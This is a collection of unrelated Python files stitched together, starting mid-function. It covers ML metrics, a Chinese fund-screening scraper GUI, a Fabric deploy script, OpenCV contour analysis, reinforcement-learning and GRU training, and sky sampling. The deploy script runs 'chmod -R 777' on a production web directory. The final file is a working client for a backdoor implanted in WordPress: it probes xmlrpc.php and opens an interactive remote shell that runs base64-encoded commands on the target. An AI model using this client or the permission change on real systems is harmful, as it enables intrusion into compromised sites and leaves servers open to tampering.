        for stat_name, stat_fn in stat_fns:
            class_stats[label][stat_name] = stat_fn(class_stats[label])

    global_stats = {
        'accuracy':
        sum(entry['correct']
            for entry in class_stats.values()) / len(true_labels),
        'macro_precision':
        float(np.mean([entry['precision'] for entry in class_stats.values()])),
        'macro_recall':
        float(np.mean([entry['recall'] for entry in class_stats.values()])),
        'macro_f1':
        float(np.mean([entry['f1'] for entry in class_stats.values()])),
    }
    return global_stats, class_stats

def class_stats_histogram(class_stats,
                          stat_fn,
                          stat_name,
                          cmp_fn=lambda x: x,
                          **kwargs):
    stat_values = [(key, stat_fn(value)) for key, value in class_stats.items()]
    max_stat_key, max_stat_value = max(stat_values, key=lambda x: cmp_fn(x[1]))
    fig = plt.figure()
    ax = plt.gca()
    y, _, _ = ax.hist([value for _, value in stat_values], **kwargs)
    best_line = mlines.Line2D([max_stat_value, max_stat_value],
                              [y.min(), y.max()],
                              color='red',
                              linestyle='--')
    ax.add_line(best_line)
    ax.set_title(
        f'Stat name: {stat_name}, Worst stat key: {max_stat_key}, Worst stat value: {max_stat_value:.5f}'
    )
    return fig


import tkinter
import customtkinter
#from msilib import RadioButtonGroup
from ssl import get_default_verify_paths
import tkinter as tk
from typing import Counter
import requests
from bs4 import BeautifulSoup
import numpy as np
from tkinter import Toplevel, messagebox
import tkinter.ttk as ttk
import webbrowser
import pandas as pd

customtkinter.set_appearance_mode("dark")  # Modes: "System" (standard), "Dark", "Light"
customtkinter.set_default_color_theme("blue")  # Themes: "blue" (standard), "green", "dark-blue"

app = customtkinter.CTk()
app.geometry("360x630")
app.title("基金績效篩選工具")

def gui_inti():
    frame_1 = customtkinter.CTkFrame(master=app)
    frame_1.pack(pady=20, padx=60, fill="both", expand=True)

    frame_2 = customtkinter.CTkFrame(master=app)
    frame_2.pack(pady=20, padx=60, fill="both", expand=True)

    label_1 = customtkinter.CTkLabel(text="初步篩選     4433法則",master=frame_1, justify=tkinter.LEFT).pack(pady=12, padx=10)
    global url_entry,url,new
    url= "https://www.sitca.org.tw/ROC/Industry/IN3200.aspx?PGMID=IN0302"
    new = 1
    button_instruction_3 = customtkinter.CTkButton(
    master= frame_1,
    command= openweb,
    text= "基金績效評比網站",
    border_color= "#608a4d",
    hover_color= "#81b867",
    fg_color= "#79ae61").pack(pady=12, padx=10)
    url_entry = customtkinter.CTkEntry(master=frame_1, placeholder_text="請提供資料來源網址")
    url_entry.pack(pady=12, padx=10)

    global optionmenu_1
    optionmenu_1 = customtkinter.CTkOptionMenu(frame_1, values=["理柏", "晨星"])
    optionmenu_1.pack(pady=12, padx=10)
    optionmenu_1.set("選擇資料來源")

    button_instruction = customtkinter.CTkButton(
    master= frame_1,
    command= fftt_instruction,
    text= "什麼是4433法則?",
    border_color= "#9e4a43",
    hover_color= "#e06a61",
    fg_color= "#c75d55").pack(pady=12, padx=10)

    button_instruction_2 = customtkinter.CTkButton(
    master= frame_1,
    command= fftt_instruction,
    text= "操作說明",
    border_color= "#9e4a43",
    hover_color= "#e06a61",
    fg_color= "#c75d55").pack(pady=12, padx=10)

    button_1 = customtkinter.CTkButton(text="送出",master=frame_1, command=crawler)
    button_1.pack(pady=12, padx=10)

    label_2 = customtkinter.CTkLabel(text="進階篩選     風險指標",master=frame_2).pack(pady=12, padx=10)
    global optionmenu_3,optionmenu_2,select_sort
    optionmenu_3 = customtkinter.CTkOptionMenu(master=frame_2, values=["夏普", "標準差","Beta","Alpha"])
    optionmenu_3.set("選擇風險指標")
    optionmenu_3.pack(pady=12, padx=10)
    optionmenu_2 = customtkinter.CTkOptionMenu(master=frame_2, values=["大到小", "小到大"])
    optionmenu_2.set("風險指標呈現方式")
    optionmenu_2.pack(pady=12, padx=10)

    app.mainloop()

def openweb():
        webbrowser.open(url,new=new)
def fftt_instruction():
    print("我還不想寫")

global get_list
get_list = []

def crawler ():

    resp = requests.get(url_entry.get(), verify=False)
    global select_type

    data_index_=[]
    data_index_morningstar = [1,4,5,6,7,8,9,10,12,13,14,15]
    data_index_lipper = [1,4,5,6,7,8,9,10,12,13,14,16]

    if optionmenu_1.get() == "晨星":
        data_index = data_index_morningstar
        select_type =1
    else:
        data_index = data_index_lipper
        select_type =0

    soup = BeautifulSoup(resp.text, 'html.parser')
    rows_even = soup.find_all(class_ = "DTeven")
    rows_odd = soup.find_all(class_ = "DTodd")

    delete_list = []
    #初始化
    even_data=[['\xa0' for count in range(12)] for row in range(len(rows_even))]
    odd_data=[['\xa0' for count in range(12)] for row in range(len(rows_odd))]

    i = 0
    count = 0
    #讀取偶數欄資料
    for row_even in rows_even:
        count = 0
        for y in range(12):
            even_data[i][y]=row_even.find_all('td')[data_index[count]].text
            if even_data[i][y] == '\xa0':
                delete_list.append(i)
            count+=1
        i+=1

    #刪除空格資料
    even_data = np.delete(even_data,delete_list, axis = 0)
    delete_list.clear()

    i = 0
    count = 0
    #讀取奇數欄資料
    for row_odd in rows_odd:
        count = 0
        for y in range(12):
            odd_data[i][y]=row_odd.find_all('td')[data_index[count]].text
            if odd_data[i][y] == '\xa0':
                delete_list.append(i)
            count+=1
        i+=1

    odd_data = np.delete(odd_data,delete_list, axis = 0)
    #合併資料
    global data
    data = np.vstack((even_data,odd_data))
    run(data,select_type)

def run(data,select_type):
    if(select_type==1):#晨星
        df = pd.DataFrame(data, columns=['Name', '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','sharpe','alpha','beta'])
        df[[ '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','sharpe','alpha','beta']] = df[[ '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','sharpe','alpha','beta']].apply(pd.to_numeric)
    else:
        df = pd.DataFrame(data, columns=['Name', '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','beta','sharpe','alpha'])
        df[[ '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','beta','sharpe','alpha']] = df[[ '3m', '6m', '1y', '2y', '3y', '5y', 'YTD','sd','beta','sharpe','alpha']].apply(pd.to_numeric)

    thresholds_1q = df[['1y', '2y', '3y', '5y', 'YTD']].quantile(0.75)  # 75top 25% performance for the year columns
    thresholds_1t = df[['3m', '6m']].quantile(0.67)  # 67top 33% performance for the month columns

    df['4433'] = ((df['3m'] >= thresholds_1t['3m']) & (df['6m'] >= thresholds_1t['6m'])) & \
                ((df['1y'] >= thresholds_1q['1y']) & (df['2y'] >= thresholds_1q['2y']) & \
                (df['3y'] >= thresholds_1q['3y']) & (df['5y'] >= thresholds_1q['5y']) & \
                (df['YTD'] >= thresholds_1q['YTD']))
    global adv_data
    adv_data = df[df['4433']]

    global names_str
    name_list = []

    for fund_name in df[df['4433']]['Name']:
       name_list.append(fund_name)
    names_str = '\n'.join(name_list)
    if(df['4433'].sum()!=0):
        fftt_result_toplevel()
        column_to_sort = ""

        if(optionmenu_3.get() == "夏普"):
            column_to_sort = 'sharpe'
        elif(optionmenu_3.get() == "標準差"):
            column_to_sort = 'sd'
        elif(optionmenu_3.get() == "Beta"):
            column_to_sort = 'beta'
        elif(optionmenu_3.get() == "Alpha"):
            column_to_sort = 'alpha'
        global result_data
        result_data = []
        tmpdata = []
        if(optionmenu_2.get()=="大到小"):
            sort_type = False
        else:
            sort_type = True
        if column_to_sort:
            final = df[df['4433']].sort_values(by=column_to_sort, ascending=sort_type)
            for fund_name in final['Name']:
                tmpdata.append(fund_name)

        result_data = '\n'.join(tmpdata)
    else:
        tk.messagebox.showerror(title=None, message='無符合資料')
def fftt_result_toplevel():
        window = customtkinter.CTkToplevel()
        window.title("4433篩選結果")
        window.geometry("530x400")
        label_2 = customtkinter.CTkLabel(window, text ="以下基金為4433法則後篩選後之結果")

        label_1 = customtkinter.CTkLabel(window, text =names_str)
        label_1.pack(side="top", fill="both", expand=True, padx=40, pady=40)
        button = customtkinter.CTkButton(text="進階篩選",master=window, command=tmp).pack()

def final_result(result_data):
        window = customtkinter.CTkToplevel()
        window.title("進階篩選結果")
        window.geometry("530x400")
        label_1 = customtkinter.CTkLabel(window, text =''.join(result_data))
        label_1.pack(side="top", fill="both", expand=True, padx=40, pady=40)

def tmp():
    final_result(result_data)

if __name__ =='__main__':
    gui_inti()


# coding: utf-8
from fabric.api import run, env, cd, prefix, shell_env, local
from config import load_config

config = load_config()
host_string = config.HOST_STRING

def deploy():
    env.host_string = config.HOST_STRING
    run('sudo chmod -R 777 /var/www/tetrafoil/**/**/')
    #run('sudo chmod -R 777 /var/www/tetrafoil/application/static/css/bootstrap.theme.css')
    print('!!! chmod in /var/www/tetrafoil/ changet to 777 !!!')
    with cd('/var/www/tetrafoil'):
        with shell_env(MODE='PRODUCTION'):
            #run('git reset --hard HEAD')
            #run('git pull')
            run('npm install')
            run('gulp')
            with prefix('source venv/bin/activate'):
                run('pip install -r requirements.txt')
                run('python manage.py db upgrade')
                run('python manage.py build')
            run('supervisorctl restart ttt')

def create_db():
	env.host_string = config.HOST_STRING
	with cd('/var/www/tetrafoil'):
			with shell_env(MODE='PRODUCTION'):
				with prefix('source venv/bin/activate'):
					run('python manage.py db init')
					run('python manage.py db migrate')
					run('python manage.py db upgrade')

def restart():
    env.host_string = config.HOST_STRING
    run('supervisorctl restart ttt')


from lib.actions import BaseAction

__all__ = [
    'CreateDNSRecordAction'
]

class CreateDNSRecordAction(BaseAction):
    api_type = 'dns'

    def run(self, credentials, domain, name, type, data, ttl=500):
        driver = self._get_driver_for_credentials(credentials=credentials)
        zones = driver.list_zones()

        try:
            zone = [z for z in zones if z.domain == domain][0]
        except IndexError:
            raise ValueError('Zone with domain "%s" doesn\'t exist' % (domain))

        extra = {'ttl': int(ttl)}
        record = driver.create_record(name=name, zone=zone,
                                      type=type,
                                      data=data, extra=extra)

        self.logger.info('Successfully created record "%s"' % (record.name))
        return record


import cv2
import numpy as np
import os

def in_c(x, y, contour):
    result = cv2.pointPolygonTest(contour, (x, y), False)
    if (result == 1):
        return True
    else:
        return False

def mean_c(image, contour):
    s = 0
    k = 0
    step = 10
    xx, yy, w, h = cv2.boundingRect(contour)
    for y in range(min(yy, h), max(yy, h), step):
        for x in range(min(xx, w), max(xx, w), step):
            if (in_c(x, y, contour)):
                s += sum(image[y][x])
                k += 1
    return s / k if k != 0 else 0

def viewImage(image):
    cv2.namedWindow('Display', cv2.WINDOW_NORMAL)
    cv2.imshow('Display', image)
    cv2.waitKey(10)

def draw(im, cnt):
    ## convert image to gray scale (must br done before contouring)
    image = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
    ret, image = cv2.threshold(image, 50, 255, 0)
    ret, threshold = cv2.threshold(image, 50, 255, cv2.THRESH_BINARY_INV)
    i, contours, hirerchy = cv2.findContours(threshold,
                                             cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)
    m = 0
    for c in contours:
        if (cv2.contourArea(c) > m):
            m = cv2.contourArea(c)
    m *= 0.7
    cnt = 0
    for i in range(len(contours)):

        if (cv2.contourArea(contours[i]) > 100 and mean_c(im, contours[i]) > 10) or cv2.contourArea(contours[i]) > m:
            if cv2.contourArea(contours[i]) < m:
                cnt += 1
            M = cv2.moments(contours[i])
            try:
                cX = int(M["m10"] / M["m00"])
                cY = int(M["m01"] / M["m00"])
                im = cv2.circle(im, (cX, cY), radius=0, color=(0, 255, 255), thickness=10)
            except:
                pass
            mi = 100000
            ma = 0
            s = 0
            k = 0

            for point in contours[i]:
                x = point[0][0]
                y = point[0][1]
                mi = min(mi, ((x - cX) ** 2 + (y - cY) ** 2) ** 0.5)
                ma = max(ma, ((x - cX) ** 2 + (y - cY) ** 2) ** 0.5)
                s += ((x - cX) ** 2 + (y - cY) ** 2) ** 0.5
                k += 1
            mid = s / k
            cv2.circle(im, (cX, cY), round(mid), (0, 255, 0), 2)
            cv2.circle(im, (cX, cY), round(mi), (0, 255, 0), 2)
            cv2.circle(im, (cX, cY), round(ma), (0, 255, 0), 2)
            cv2.drawContours(im, contours[i], -1, (0, 0, 255), 3)
            cv2.putText(im, "Area: " + str(cv2.contourArea(contours[i])), (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 1,
                        (255, 255, 255), 2)
            cv2.putText(im, "Min dist: " + f"{mi:.{5}f}", (50, 80), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)
            cv2.putText(im, "Max dist: " + f"{ma:.{5}f}", (50, 110), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)
            cv2.putText(im, "Mean dist: " + f"{mid:.{5}f}", (50, 140), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)
            print("разность:", ma / mi if mi != 0 else 0)

    first = False
    viewImage(im)
    return cnt

x = r"C:\Users\lashi\Desktop\Cav_d\videos\0_.mp4"
vid = cv2.VideoCapture(x)
while (vid.isOpened()):
    ret, frame = vid.read()
    cnt = draw(frame, cnt)


from DDPG import Agent
import gym
import numpy as np
from gym import wrappers
import os

if __name__ == '__main__':
    env = gym.make('BipedalWalker-v3')
    agent = Agent(alpha=0.00005, beta=0.0005, input_dims=[24], tau=0.001, env=env,
                  n_actions=4, batch_size=64, layer1_size=400, layer2_size=300,
                  chkpt_dir='tmp/ddpg')
    np.random.seed(0)
    #agent.load_models()
    #env = wrappers.Monitor(env, "tmp/walker2D", video_callable=lambda episode_id: True, Force=True)
    score_history = []
    for i in range(5000):
        obs = env.reset()
        done = False
        score = 0
        while not done:
            act = agent.choose_action(obs)
            new_state, reward, done, info = env.step(act)
            agent.remember(obs, act, reward, new_state, int(done))
            agent.learn()
            score += reward
            obs = new_state
            # if i % 20 == 0:
            #    env.render()
        score_history.append(score)
        print('episode ', i, 'score%.2f' % score,
              'trailing 100 game avg %.2f' % np.mean(score_history[-100:]))

        if i % 25 == 0:
            agent.save_models()


import os
import time

import pandas as pd
import numpy as np

from PyTorch.data_analysis.build_DataStore import ForexDataset

import torch
import torch.nn as nn
from torch.utils.data import TensorDataset, DataLoader

device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")

batch_size=300
learn_rate=1e-3
hidden_dim=2**5
EPOCHS=50
n_layers = 1
output_dim = 168

file_data='PyTorch/data/Finance_4b_4f/d_msd.csv'
file_truth='PyTorch/data/Finance_4b_4f/t_msd.csv'

backwards = 12
forward = 4

dat = pd.read_csv(file_data, index_col='date')
tru = pd.read_csv(file_truth, index_col='date')

lookback = backwards
inputs = np.zeros((len(dat) - lookback, lookback, dat.shape[-1]))
labels = np.zeros((len(dat) - lookback,tru.shape[-1]))

for i in range(lookback, len(dat)-forward):
    inputs[i - lookback] = dat[i - lookback:i]
    labels[i - lookback] = tru[i+forward-1:i+forward]
inputs = inputs.reshape(-1, lookback, dat.shape[-1])
labels = labels.reshape(-1, tru.shape[-1])

train_data = TensorDataset(torch.from_numpy(inputs), torch.from_numpy(labels))
train_loader = DataLoader(train_data, shuffle=True, batch_size=batch_size, drop_last=True, num_workers=8)

class GRUNet(nn.Module):
    def __init__(self, input_dim, hidden_dim, output_dim, n_layers, drop_prob=0.2, GPUs=1):
        super(GRUNet, self).__init__()
        self.hidden_dim = hidden_dim
        self.n_layers = n_layers
        self.GPUs = GPUs

        self.gru1 = nn.GRU(input_dim, hidden_dim, n_layers, batch_first=True,
                          dropout=drop_prob)
        self.gru2 = nn.GRU(input_dim, hidden_dim, n_layers, batch_first=True,
                          dropout=drop_prob)
        self.gru3 = nn.GRU(input_dim, hidden_dim, n_layers, batch_first=True,
                          dropout=drop_prob)

        self.fc1 = nn.Linear(hidden_dim, hidden_dim)
        self.fc2 = nn.Linear(hidden_dim, hidden_dim)
        self.fc3 = nn.Linear(hidden_dim, output_dim)
        self.relu = nn.ReLU()

    def forward(self, x, h):
        #print('x0 ',x.shape) #torch.Size([100, 12, 168])
        #print('h0 ',h.shape) #torch.Size([1, 100, 32])
        out, h = self.gru1(x, h)
        #print('out ', out.shape) #torch.Size([100, 12, 32])
        #print('h0 out0 ', h.shape) #torch.Size([1, 100, 32])
        #print('fc1 ', out[:, -1].shape)#torch.Size([100, 32])
        out = self.fc3(self.relu(out[:, -1]))
        #print('feed ', out.shape) #torch.Size([100, 168])
        return out, h

    def init_hidden(self, batch_size):
        weight = next(self.parameters()).data
        hidden = weight.new(int(self.n_layers * self.GPUs), int(batch_size / self.GPUs), self.hidden_dim).zero_().to(device)
        return hidden

def train(train_loader, learn_rate, hidden_dim=256, n_layers = 2, EPOCHS=5):
    # Setting common hyperparameters

    print(len(next(iter(train_loader))))
    print(next(iter(train_loader))[0][0].shape)
    print(next(iter(train_loader))[0][0].shape[1])
    input_dim = next(iter(train_loader))[0][0].shape[1]

    # Instantiating the models
    model = GRUNet(input_dim, hidden_dim, output_dim, n_layers, GPUs=3)

    if torch.cuda.device_count() > 1:
        print("Let's use", torch.cuda.device_count(), "GPUs!")
        # dim = 0 [30, xxx] -> [10, ...], [10, ...], [10, ...] on 3 GPUs
        model = nn.DataParallel(model, device_ids=[0, 0, 1])
        # max batdch size config = [0,0,1] [bs=11000] , max speed config = 0,0,0,1 bs = [3000]

    model.to(device)

    # Defining loss function and optimizer
    criterion = nn.MSELoss()
    optimizer = torch.optim.Adam(model.parameters(), lr=learn_rate)

    model.train()
    print("Starting Training of {} model".format('''GRU'''))
    epoch_times = []
    # Start training loop
    for epoch in range(1, EPOCHS + 1):
        start_time = time.clock()
        h = model.module.init_hidden(batch_size)  # add .module for dataparallele to reach model original inside
        avg_loss = 0.
        counter = 0
        for x, label in train_loader:
            counter += 1

            h = h.data

            model.zero_grad()

            out, h = model(x.to(device).float(), h)
            loss = criterion(out, label.to(device).float())
            loss.backward()
            optimizer.step()
            avg_loss += loss.item()
            if counter % 200 == 0:
                print("Epoch {}......Step: {}/{}....... Average Loss for Epoch: {}".format(epoch, counter,
                                                                                len(train_loader),
                                                                                len(train_loader),
                                                                                avg_loss / counter))
        current_time = time.clock()
        print("Epoch {}/{} Done, Total Loss: {}".format(epoch, EPOCHS, avg_loss / len(train_loader)))
        print("Total Time Elapsed: {} seconds".format(str(current_time - start_time)))
        epoch_times.append(current_time - start_time)
    print("Total Training Time: {} seconds".format(str(sum(epoch_times))))
    return model

gru_model = train(train_loader, learn_rate,
                  hidden_dim=hidden_dim, n_layers = n_layers,
                  EPOCHS=EPOCHS)


import math
from math import ceil, cos, floor, pi, sin, sqrt
from typing import Tuple

import numpy as np

def euclidean_distance(a, b):
    dx = a[0] - b[0]
    dy = a[1] - b[1]
    return sqrt(dx * dx + dy * dy)

def poisson_disc_samples(width, height, r, k=5, distance=euclidean_distance):
    tau = 2 * pi
    cellsize = r / sqrt(2)
    random = np.random.rand
    grid_width = int(ceil(width / cellsize))
    grid_height = int(ceil(height / cellsize))
    grid = [None] * (grid_width * grid_height)

    def grid_coords(p):
        return int(floor(p[0] / cellsize)), int(floor(p[1] / cellsize))

    def fits(p, gx, gy):
        yrange = list(range(max(gy - 2, 0), min(gy + 3, grid_height)))
        for x in range(max(gx - 2, 0), min(gx + 3, grid_width)):
            for y in yrange:
                g = grid[x + y * grid_width]
                if g is None:
                    continue
                if distance(p, g) <= r:
                    return False
        return True

    p = width * random(), height * random()
    queue = [p]
    grid_x, grid_y = grid_coords(p)
    grid[grid_x + grid_y * grid_width] = p

    while queue:
        qi = int(random() * len(queue))
        qx, qy = queue[qi]
        queue[qi] = queue[-1]
        queue.pop()
        for _ in range(k):
            alpha = tau * random()
            d = r * sqrt(3 * random() + 1)
            px = qx + d * cos(alpha)
            py = qy + d * sin(alpha)
            if not (0 <= px < width and 0 <= py < height):
                continue
            p = (px, py)
            grid_x, grid_y = grid_coords(p)
            if not fits(p, grid_x, grid_y):
                continue
            queue.append(p)
            grid[grid_x + grid_y * grid_width] = p
    return [p for p in grid if p is not None]

def get_poisson_disk_sky(
    min_size: Tuple[float, float],
    max_size: Tuple[float, float],
    flux_min: float,
    flux_max: float,
    r=10,
):
    assert flux_max >= flux_min
    x = min_size[0]
    y = min_size[1]
    X = max_size[0]
    Y = max_size[1]
    width = abs(X - x)
    height = abs(Y - y)
    center_x = x + (X - x) * 0.5
    center_y = y + (Y - y) * 0.5
    samples = poisson_disc_samples(width, height, r)
    np_samples = np.array(samples)
    ra = np_samples[:, 0] - (width * 0.5)
    dec = np_samples[:, 1] - (height * 0.5)
    ra = ra + center_x
    dec = dec + center_y
    np_samples = np.vstack((ra, dec)).transpose()
    flux = np.random.random((len(samples), 1)) * (flux_max - flux_min) + flux_min
    sky_array = np.hstack((np_samples, flux))
    return sky_array

#
def long_lat_to_cartesian(lat, lon):
    lat, lon = np.deg2rad(lat), np.deg2rad(lon)
    x = R * cos(lat) * cos(lon)
    y = R * cos(lat) * sin(lon)
    z = R * sin(lat)
    return np.array([x, y, z]) / np.linalg.norm(np.array([x, y, z]))

#
#
# def cartesian_to_long_lat(cart: [float, float, float]):
#     lat = np.degrees(np.arcsin(cart[2]))
#     lon = np.degrees(np.arctan2(cart[1], cart[0]))
#     return np.array([lon, lat])

R = 6360000  # earth radius

def cartesian_to_ll(x, y, z=0):
    # does not use `z`
    r = math.sqrt(x**2 + y**2)
    long = 180 * math.atan2(y, x) / math.pi
    lat = 180 * math.acos(r / R) / math.pi
    return lat, long


#!/bin/python
# coding: utf-8
# RPC WP Backdoor
#
import requests, sys, os, base64
from xml.etree import ElementTree
import urllib3
urllib3.disable_warnings()

def check(host):

    try:
        r = requests.post(host + '/xmlrpc.php', data='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getpostsystem</methodName><params><param><value>echo "kopslive"</value></param></params></methodCall>', verify=False)
    except:
        return False
    if(r.status_code == 200):

        if 'kopslive' in r.text:
            return True
        else:
            return False
    else:
        return False

def rpc_call(host, cmd):
    postcmd = cmd.encode('utf-8')
    enccmd = base64_bytes = base64.b64encode(postcmd)
    cmd = 'echo ' + enccmd +'|base64 -d|sh|base64 -w0'
    r = requests.post(host + '/xmlrpc.php', data='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getpostsystem</methodName><params><param><value>'+cmd+'</value></param></params></methodCall>', verify=False)

    if(r.status_code == 200):

       document = ElementTree.fromstring(r.text)
       return document[0][0][0][0].text
    else:
        return "[X] RPC ERROR."
def clear():
    if os.name == 'posix':
        os.system('clear')
    else:
        os.system('cls')

def cmd(host):

    cmd = raw_input("[RPC Backdoor]$ ")
    while cmd != "exit":
        if(cmd == 'clear'):
            clear()
        else:
            if(cmd != ""):
                try:
                    rpc_reply = rpc_call(host, cmd)
                    rpc_decode = base64.b64decode(str(rpc_reply))
                    print(rpc_decode.decode('utf-8'))
                except:
                    print("[X] RPC communication error")
            cmd = raw_input("[RPC Backdoor]$ ")
    print("[ðŸ˜ˆ] Leaving RPC Backdoor...")
    return
def main():
    if(len(sys.argv) < 2):
        print("[USE]: {} https://target.com.br".format(sys.argv[0]))
    else:
        if(check(sys.argv[1])):
            print('[::] RPC is live!')
            pshell = raw_input("[::] Start shell (y/n): ")
            if(pshell == 'Y3' or pshell == 'y'):
                print("\r[ðŸ˜ˆ] Starting RPC Backdoor...")
                cmd(sys.argv[1])
            else:
                print("[!] Exit")
        else:
            print('[::] RPC Backdoor not implanted or unavailable...')
if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        clear()
        print("[ðŸ˜ˆ] Leaving RPC Backdoor...")